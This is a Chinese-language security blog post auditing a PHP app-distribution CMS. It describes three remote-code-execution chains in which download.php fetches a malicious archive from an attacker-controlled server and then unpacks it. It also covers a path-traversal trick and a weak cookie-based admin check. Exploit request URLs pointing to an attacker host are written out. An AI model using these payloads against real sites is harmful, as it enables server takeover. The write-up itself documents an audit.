前言
前段时间领导安排了一个任务,测试一个网站,要求找一下漏洞之类的。恰好找到了源码,因此就审计了一下。
火星兔云分发
源码寻找
通过百度搜索,网盘搜索的方式,在CSDN论坛上找到了该源码。大一时恰好把自己的java课程设计传上去了,因此也有积分能下载。没积分可以去某宝代下载。
网站安装
网站安装比较无脑,这里用的是phpstudy,直接下一步下一步就好了。
渗透测试
先黑盒走一遍,没发现啥有啥能前台利用的漏洞。
且后台有一个能执行sql的功能,好像也就没发现别的了。
那就直接开始代码审计了。
代码审计
前台远程文件下载导致的RCE
第一条利用链
source/pack/127.0.0.1/download.php
发现在这个php文件这里存在一个远程文件下载的漏洞。
即通过file_get_contents
获取vps服务器上的压缩包(带恶意php文件),通过fwrite
写入到本地、并通过exec
调用本地的tar
命令去解压,从而释放出里面的恶意PHP文件。
准备一个压缩包,并上传至服务器的/data/cert/
目录下。
然后再/data/cert/
的父目录下启动一个http服务
。
这里我是用python2
起的服务。
python2 -m SimpleHTTPServer 8089
python3
也可以
python3 -m http.server 8089
执行payload
/source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=压缩包名&site=2022&id=11
通过vps上的日志,以及本地监听网站目录的文件结构变化,可以看见。压缩包下载成功,且被解压,并成功释放出了其中的恶意PHP文件。
访问/source/pack/127.0.0.1/work/2022.11/1.php
可以看见phpinfo
被成功执行。
实际测试时发现,disable_functions
中禁用了exec函数
。
第二条利用链
环境搭建
这里我们禁用一下exec。
在php.ini
的中的disable_functions
项中,添加一下exec
。
重启一下服务器,在phpinfo
里面可以看见exec
是被禁用的状态。
再次发包,可以看见,无法解压test.zip
寻找利用链
source/pack/zip/zip.php
在该cms
中,存在一个PCLZIP
类,该类下有一个extract
方法是用来对压缩包进行解压的。
通过全局搜索new PclZip
发现以下文件中均初始化了该类。
漏洞分析利用
其中在source/pack/webview/ajax.php
里
可以看见,当ac=webview
时,有几率是可以进行解压的。
那么来分析一下,这里能解压的前提条件。
第一个条件:
从此处的全局变量命名可以很明显看出,是用来判断有没有登录的。
1 | $GLOBALS['userlogined'] or exit('return_0'); |
这里有包含了user.php文件,进去看看这个文件。
这里很明显,是从cookie中获取in_userid
、in_userpassword
、in_username
,然后判断是否合法,并返回对应的布尔值。
这个问题很好解决,该系统默认提供了注册接口。直接注册一个账号就可以了。
1 | $GLOBALS['erduo_in_points'] < IN_WEBVIEWPOINTS and exit('return_1'); |
这里是判断全局变量erduo_in_points
的值是否小于IN_WEBVIEWPOINTS
。
而IN_WEBVIEWPOINTS
的值在source/system/config.inc.php
中被定义成了20
。
也就是要判断erduo_in_points
的值是否小于20
。
此时看一下erduo_in_points
的值是什么。
发现是一个下载点数。
当前注册的账号,默认下载点数是50,因此两个条件都满足了。
也就能够对ipa压缩包进行解压了。
将压缩包改名成ipa
发送payload。
1 | /source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=ipa&site=2022&id=11/../../../../../static/pack/webview/ |
通过日志和查看压缩包,发现ipa.zip已经被修改成了恶意压缩包。
此时尝试解压/source/pack/webview/ajax.php?ac=webview
可以发现,的确解压成功。
此处很明显,新的目录是一个时间戳,因此在实战中我们需要爆破一下。
在发送解压请求时,服务器中响应了Date。
Sun, 04 Dec 2022 07:50:13 GMT
Sun
代表星期天
04 Dec 2022
代表 2022年12月4日
07:50:13 GMT
这是一个格林尼治所在地的标准时间
这里将GMT时间转换成北京时间。
http://www.timebie.com/cn/stdgreenwichmean.php
最后时间也就是2022年12月4日下午15点50分13秒。
https://www.beijing-time.org/shijianchuo/
转换成时间戳,也就和本地监听到的是同一个时间戳了。
最后成功RCE
注:这里的数字3也就是cookie中的in_userid的值。
即:$time = $GLOBALS[‘erduo_in_userid’].’-‘.time();
然而实际测试,默认的注册账号只有10积分,离谱。
第三条利用链
这条利用链,利用比较苛刻了,要求你进后台。
source/admincp/module/develop.php
1 | function down_zip($zip){ |
1 | function un_zip($dir) |
可以很清晰的看出,这个文件的功能是下载和解压压缩包。
下载可利用download.php
中的方法,也可以利用develop.php
中的方法。
这里先以download.php
为例。
/source/pack/127.0.0.1/download.php?api=http://IP:PORT/&cert=app&site=2022&id=11/../../../../../data/tmp/
登录后台,访问/admin.php?iframe=develop&unzip=s
压缩包解压成功、访问/source/plugin/1.php
也成功代码执行
如果是要通过develop.php
去下载压缩包。
source/system/function_common.php
下载压缩包
/admin.php?iframe=develop&step=s&zip=base64编码后的url
解压压缩包/admin.php?iframe=develop&unzip=s
那么问题点来了,怎么进后台呢?
进后台的方法
首先登录框这里是没有验证码的,好像是可以爆破?
但是实际上,在系统安装的时候,设置管理员账号和密码时,要求管理员账号必须是邮箱格式,也就是说,你得先知道对方注册管理员时,所使用的邮箱后缀,才能去爆破。不然你爆不出来。
那么这里也就只能从认证流程出发,去看看有没有漏洞了。
认证流程
删除一个后台接口的cookie时,会提示我需要认证一下。
那么全局搜一下这个失败的认证的提示字符串。
未登录或登录已过期,请重新登录管理中心!
只有一个,进去看看。
1 | function Administrator($value){ |
从这个代码来看,后台的权限分离跟纸糊的一样,是通过cookie当中的in_permission
的值来区别的。
此处判断是否登录状态,是通过判断in_adminid
和in_adminpassword
的值是否对应,且in_adminexpire
、in_build
和in_adminname
的值不为空。
默认管理员的in_adminid
的值是1,那么也就是只需要爆破cookie
中的in_adminpassword
的值就可以了。
而这个值也就只是两次md5加密生成的。
实际上也就是只能做参考使用,毕竟我没爆出来。
总结
有一说一,不喜欢审计PHP。
比如这个系统里面,如果ta的系统想要正常运行,就不应该在disable_functions
里面设置exec被禁用,不然正常功能都不能用了。
找了三个利用方式,没一个能用,很打击人。
文中所使用到的工具
https://github.com/Lotus6/FileMonitor
https://www.xp.cn/download.html
https://www.jetbrains.com.cn/